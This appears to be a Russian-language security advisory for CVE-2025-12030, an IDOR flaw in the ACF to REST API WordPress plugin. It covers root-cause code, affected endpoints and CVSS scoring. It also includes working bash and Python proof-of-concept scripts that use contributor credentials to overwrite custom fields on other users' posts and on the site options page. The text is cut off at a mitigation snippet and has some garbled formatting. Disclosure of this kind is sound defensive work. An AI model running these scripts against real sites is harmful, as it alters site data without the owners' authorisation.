
ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) — Уязвимость безопасности, позволяющая аутентифицированным пользователям с уровнем доступа Contributor изменять поля ACF на объектах, которые им не принадлежат.
Ключевые слова: CVE-2025-12030, уязвимость ACF to REST API, IDOR, безопасность WordPress, эксплойт с аутентификацией, уязвимость плагина WordPress, CWE-639, изменение полей ACF, обход авторизации, WordPress CVE 2025, Advanced Custom Fields, безопасность REST API
Уязвимость IDOR в плагине ACF to REST API для WordPress (CVE-2025-12030) — недостаток безопасности, позволяющий аутентифицированным пользователям с уровнем доступа Contributor изменять поля ACF на объектах, которые им не принадлежат.
Обнаружена небезопасная прямая ссылка на объект (IDOR) в плагине ACF to REST API для WordPress, которая позволяет аутентифицированным злоумышленникам с минимальными привилегиями изменять поля ACF во всей установке WordPress.
Обнаружил: Kai Aizen (SnailSploit)
Опубликовано: 6 января 2026 г.
Оценка CVSS: 4.3 (Средний)
CWE: CWE-639 — Обход авторизации через контролируемый пользователем ключ
Плагин: ACF to REST API
Slug плагина: acf-to-rest-api
Тип атаки: Небезопасная прямая ссылка на объект (IDOR)
Требуемые привилегии: Contributor+ (Аутентифицированная атака)
Плагин ACF to REST API для WordPress подвержен небезопасной прямой ссылке на объект во всех версиях до 3.3.4 включительно. Это связано с недостаточными проверками возможностей в методе update_item_permissions_check(), который проверяет только наличие у текущего пользователя возможности edit_posts, не проверяя права доступа к конкретному объекту (например, edit_post($id), edit_user($id), manage_options).
Эта уязвимость позволяет аутентифицированным злоумышленникам с уровнем доступа Contributor и выше:
manage_optionsВсе модификации возможны через конечные точки REST API /wp-json/acf/v3/{type}/{id}.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
| Метрика | Значение |
|--------|-------|
| Вектор атаки | Сеть (AV:N) |
| Сложность атаки | Низкая (AC:L) |
| Требуемые привилегии | Низкие (PR:L) |
| Взаимодействие с пользователем | Отсутствует (UI:N) |
| Область действия | Не изменяется (S:U) |
| Конфиденциальность | Отсутствует (C:N) |
| Целостность | Низкая (I:L) |
| Доступность | Отсутствует (A:N) |
**CVSS v3.1 Расшифровка:**
- **Вектор атаки (AV):** Сеть — уязвимость может быть использована удалённо по сети
- **Сложность атаки (AC):** Низкая — для эксплуатации не требуются особые условия
- **Требуемые привилегии (PR):** Низкие — требуется аутентификация на уровне участника (Contributor)
- **Взаимодействие с пользователем (UI):** Отсутствует — эксплуатация происходит без какого-либо взаимодействия с пользователем
- **Область действия (S):** Не изменяется — уязвимость затрагивает только уязвимый компонент
- **Влияние на конфиденциальность (C):** Отсутствует — нет раскрытия информации
- **Влияние на целостность (I):** Низкое — несанкционированная модификация полей ACF
- **Влияние на доступность (A):** Отсутствует — нет влияния на доступность
## Технические детали
### Коренная причина уязвимости
Уязвимость существует в методе `update_item_permissions_check()`, который выполняет недостаточную авторизацию:```php
// Vulnerable code pattern (simplified)
public function update_item_permissions_check( $request ) {
// VULNERABLE: Only checks generic edit_posts capability
if ( current_user_can( 'edit_posts' ) ) {
return true;
}
return false;
}
Правильная реализация должна проверять объектно-специфические разрешения:```php // Secure implementation pattern public function update_item_permissions_check( $request ) { $id = $request->get_param( 'id' ); $type = $request->get_param( 'type' );
switch ( $type ) {
case 'post':
return current_user_can( 'edit_post', $id );
case 'user':
return current_user_can( 'edit_user', $id );
case 'option':
return current_user_can( 'manage_options' );
// ... other object types
}
return false;
}
### Уязвимые конечные точки
| Конечная точка | Цель | Требуемая возможность (должна быть) |
|----------|--------|--------------------------------|
| `/wp-json/acf/v3/posts/{id}` | Записи | `edit_post($id)` |
| `/wp-json/acf/v3/pages/{id}` | Страницы | `edit_page($id)` |
| `/wp-json/acf/v3/users/{id}` | Пользователи | `edit_user($id)` |
| `/wp-json/acf/v3/comments/{id}` | Комментарии | `edit_comment($id)` |
| `/wp-json/acf/v3/terms/{taxonomy}/{id}` | Термины | `edit_term($id)` |
| `/wp-json/acf/v3/options/{option}` | Настройки | `manage_options` |
### Вектор атаки```
PUT/POST /wp-json/acf/v3/{type}/{id}
Authorization: Basic <contributor_credentials>
Content-Type: application/json
{
"fields": {
"field_name": "malicious_value"
}
}
Уязвимость может быть использована через WordPress REST API любым аутентифицированным пользователем с ролью не ниже Contributor.
⚠️ Только для образовательных и авторизованных целей тестирования
#!/bin/bash
TARGET_URL="$1" USERNAME="$2" APP_PASSWORD="$3" TARGET_POST_ID="$4"
if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then echo "Usage: $0 <target_url> <app_password> <post_id>" echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42" exit 1 fi
echo "[] CVE-2025-12030 - ACF to REST API IDOR PoC" echo "[] Target: $TARGET_URL" echo "[*] Target Post ID: $TARGET_POST_ID" echo ""
AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)
echo "[*] Step 1: Reading current ACF fields..."
curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
| python3 -m json.tool
echo ""
echo "[*] Step 2: Attempting to modify ACF fields on post $TARGET_POST_ID..."
RESPONSE=$(curl -s -X POST "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
-H "Content-Type: application/json"
-d '{"fields":{"test_field":"CVE-2025-12030_IDOR_TEST"}}')
echo "$RESPONSE" | python3 -m json.tool
echo "" if echo "$RESPONSE" | grep -q "CVE-2025-12030_IDOR_TEST"; then echo "[!] VULNERABLE: Successfully modified ACF fields on post we don't own!" else echo "[+] Not vulnerable or modification failed" fi
### Python PoC```python
#!/usr/bin/env python3
"""
CVE-2025-12030 - ACF to REST API IDOR PoC
For educational and authorized testing purposes only
"""
import requests
import sys
import json
import base64
def exploit(target_url, username, app_password, target_id, target_type="posts"):
"""
Exploit CVE-2025-12030 IDOR vulnerability
Args:
target_url: WordPress site URL
username: Contributor-level username
app_password: Application password
target_id: ID of the object to modify (post, user, etc.)
target_type: Type of object (posts, pages, users, options, etc.)
"""
api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/{target_type}/{target_id}"
# Create Basic Auth header
credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
headers = {
"Authorization": f"Basic {credentials}",
"Content-Type": "application/json"
}
print(f"[*] CVE-2025-12030 - ACF to REST API IDOR PoC")
print(f"[*] Target: {target_url}")
print(f"[*] Endpoint: {api_endpoint}")
print(f"[*] Object Type: {target_type}")
print(f"[*] Object ID: {target_id}\n")
# Step 1: Read current ACF fields
print("[*] Step 1: Reading current ACF fields...")
try:
response = requests.get(api_endpoint, headers=headers, timeout=10)
if response.status_code == 200:
print(f"[+] Current ACF fields:")
print(json.dumps(response.json(), indent=2))
else:
print(f"[-] Failed to read fields: {response.status_code}")
print(response.text)
except requests.RequestException as e:
print(f"[-] Error reading fields: {e}")
return
print("")
# Step 2: Attempt IDOR modification
print("[*] Step 2: Attempting unauthorized modification...")
payload = {
"fields": {
"idor_test": "CVE-2025-12030_IDOR_VERIFIED"
}
}
try:
response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
if response.status_code == 200:
result = response.json()
print(f"[+] Response:")
print(json.dumps(result, indent=2))
if "CVE-2025-12030_IDOR_VERIFIED" in str(result):
print("\n[!] VULNERABLE: Successfully modified ACF fields via IDOR!")
print("[!] Contributor-level user was able to modify objects they don't own!")
else:
print("\n[+] Modification request accepted - verify manually")
else:
print(f"[-] Request failed with status: {response.status_code}")
print(f"Response: {response.text}")
except requests.RequestException as e:
print(f"[-] Error: {e}")
def test_options_page(target_url, username, app_password):
"""Test modification of global options page (requires manage_options normally)"""
api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/options/options"
credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
headers = {
"Authorization": f"Basic {credentials}",
"Content-Type": "application/json"
}
print(f"\n[*] Testing Options Page IDOR...")
print(f"[*] Endpoint: {api_endpoint}")
print(f"[*] NOTE: This normally requires manage_options capability!\n")
payload = {
"fields": {
"site_option_test": "CVE-2025-12030_OPTIONS_IDOR"
}
}
try:
response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
if response.status_code == 200:
print(f"[!] CRITICAL: Contributor modified global options page!")
print(json.dumps(response.json(), indent=2))
else:
print(f"[-] Options modification failed: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) < 5:
print(f"Usage: {sys.argv[0]} <target_url> <username> <app_password> <target_id> [type]")
print(f"Example: {sys.argv[0]} https://example.com contributor xxxx-xxxx 42 posts")
print(f"\nSupported types: posts, pages, users, comments, options")
sys.exit(1)
target_url = sys.argv[1]
username = sys.argv[2]
app_password = sys.argv[3]
target_id = sys.argv[4]
target_type = sys.argv[5] if len(sys.argv) > 5 else "posts"
exploit(target_url, username, app_password, target_id, target_type)
# Also test options page access
if target_type != "options":
test_options_page(target_url, username, app_password)
Требуются немедленные действия:
⚠️ Официального исправления для этой уязвимости в настоящее время нет.
Добавьте в файл functions.php вашей темы или в кастомный плагин:```php